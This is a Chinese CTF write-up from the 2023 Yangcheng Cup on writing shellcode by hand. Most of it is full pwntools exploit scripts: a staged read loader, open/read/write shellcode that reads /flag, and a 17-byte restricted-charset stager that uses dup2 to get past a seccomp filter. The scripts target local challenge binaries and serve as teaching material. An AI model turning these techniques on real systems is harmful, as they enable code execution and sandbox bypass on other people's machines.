羊城杯shellcode怎么写都绕不过,痛定思痛决定好好学一下怎么手写shellcode
本文通过例题介绍一下如何手写shellcode来实现我们想要的功能,对于使用工具主动生成shellcode就不再赘述
保护全开,沙箱禁system
存在可写可执行段,可以构造shellcode送入此处,但read只能读入0x10大小
由于程序只执行一次,且可利用空间较小无法构造orw,所以构造read(0,0xcafe0000,0x1000)
下面再读入构造的orw
sc = asm(''' xor eax, eax xor edi, edi mov edx, 0x1000 mov esi, 0xcafe0000 syscall ''') #syscall(0,0,0xcafe0000,0x1000)
#encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time import base64 #from ae64 import AE64 #from LibcSearcher import * context.os = 'linux' context.arch = 'amd64' #context.arch = 'i386' context.log_level = "debug" name = './vuln' debug = 0 if debug: p = remote('127.0.0.1',9999) else: p = process(name) #libcso = '/lib/x86_64-linux-gnu/libc.so.6' libcso = './libc-2.31.so' libc = ELF(libcso) #libc = elf.libc elf = ELF(name) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(proc.pidof(p)[0]) pause() sc = asm(''' xor eax, eax xor edi, edi mov edx, 0x1000 mov esi, 0xcafe0000 syscall ''') ru(b"shellcode:") dbg() s(sc) shellcode = b"\x90" * 0x100 shellcode += asm(shellcraft.open("/flag")) shellcode += asm(shellcraft.read(3, 0xCAFE0500, 0x500)) shellcode += asm(shellcraft.write(1, 0xCAFE0500, 0x500)) p.send(shellcode) itr()
主函数:
进入分支
程序对读入的内容进行限制,要求输入字符十六进制ascii码在0x79-0x95
之间,即OPQRSTUVWXYZ[]^_
同时检查 v4
相对于 s
数组的偏移是否等于16字节,不过可以多写一位,即输入内容限制在17字节大小
我们可以看到启动沙箱后会去执行我们写入的内容
0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020 0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019 0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019 0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013 0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count) 0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020 0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019 0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count) 0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else goto 0019 0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020 0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count) 0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019 0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020 0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count) 0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020 0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0020: 0x06 0x00 0x00 0x00000000 return KILL
stack段可写可执行,但对shellcode的限制相当大
首先要绕过if判断,17字节大小内的shellcode显然不够,我们还需要进一步续写shellcode并能绕过沙箱去读到flag
ru(b'[2] Input: (ye / no)\n') s(asm('syscall'))
绕过if判断进入分支同时写入syscall
编写shellcode设置寄存器,构造一次read,利用传入的syscall(x05x0f)作为read的rdx参数
最终构造好syscall(0,0,syscall_addr,0x50f)全部参数后跳转到syscall地址处进行系统调用来续写,并继续执行
push rbx #rsp 0;start_addr-0x8 (start0x2478) pop rax #1 rax 0;start_addr pop rsi #+8 pop rsi #+8 pop rsi #2 三次pop赋rsi start+0x68 <- 0x50f;start_addr+0x18 push rax #rsp 0;start_addr+0x10 pop rdi #3 rdi 0 pop rdx #+8 push rsi #rsp start+0x68 <- 0x50f;start_addr+0x18 pop rsp #rsp start+0x68 <- 0x50f;start+0x68 pop rdx #4 rdx 0x50f push rdx #start+0x68 push rsi #start+0x68-0x8 push rax #-8 pop rax #+8 push rsi #rsp start+0x68<-0x50f;start+0x68-0x10 ret #start+0x68 syscall #syscall(0,0,start+0x68,0x50f)
sc1 = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 0x2 pop rax syscall mov rax,0x21 mov rdi,0x3 mov rsi,0x2 syscall xor rax,rax mov rsi,rsp push 0x2 pop rdi mov rdx,0x30 syscall mov rax,0x21 mov rdi,0x1 mov rsi,0x5 syscall mov rax,0x1 mov rsi,rsp mov rdi,0x5 syscall ''') s(b'aa'+sc1)
补两字节对齐
open('flag')
dup2(3,2)
read(2,'flag',0x30)
dup2(1,5)
write(5,start+0x58,0x30)
# encoding = utf-8 from pwn import * from pwnlib.rop import * from pwnlib.context import * from pwnlib.fmtstr import * from pwnlib.util.packing import * from pwnlib.gdb import * from ctypes import * import os import sys import time import base64 # from ae64 import AE64 # from LibcSearcher import * context.os = 'linux' context.arch = 'amd64' # context.arch = 'i386' context.log_level = "debug" name = './pwn' debug = 0 if debug: p = remote('127.0.0.1',8000) else: p = process(name) libcso = '/lib/x86_64-linux-gnu/libc.so.6' #libcso = './libc-2.31.so' libc = ELF(libcso) #libc = elf.libc elf = ELF(name) s = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00')) uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] def dbg(): gdb.attach(proc.pidof(p)[0]) pause() ru(b'[2] Input: (ye / no)\n') s(asm('syscall')) ru(b'======\n') sc0=asm(''' push rbx pop rax pop rsi pop rsi pop rsi push rax pop rdi pop rdx push rsi pop rsp pop rdx push rdx push rsi push rax pop rax push rsi ret ''') #dbg() s(sc0) sc1 = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 0x2 pop rax syscall mov rax,0x21 mov rdi,0x3 mov rsi,0x2 syscall xor rax,rax mov rsi,rsp push 0x2 pop rdi mov rdx,0x30 syscall mov rax,0x21 mov rdi,0x1 mov rsi,0x5 syscall mov rax,0x1 mov rsi,rsp mov rdi,0x5 syscall ''') pause() s(b'aa'+sc1) itr()
感谢师傅们的文章和wp:
2023年“羊城杯”网络安全大赛Writeup (qq.com)
羊城杯 2023 Writeup - 星盟安全团队 (xmcve.com)
手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_TaQini852的博客-CSDN博客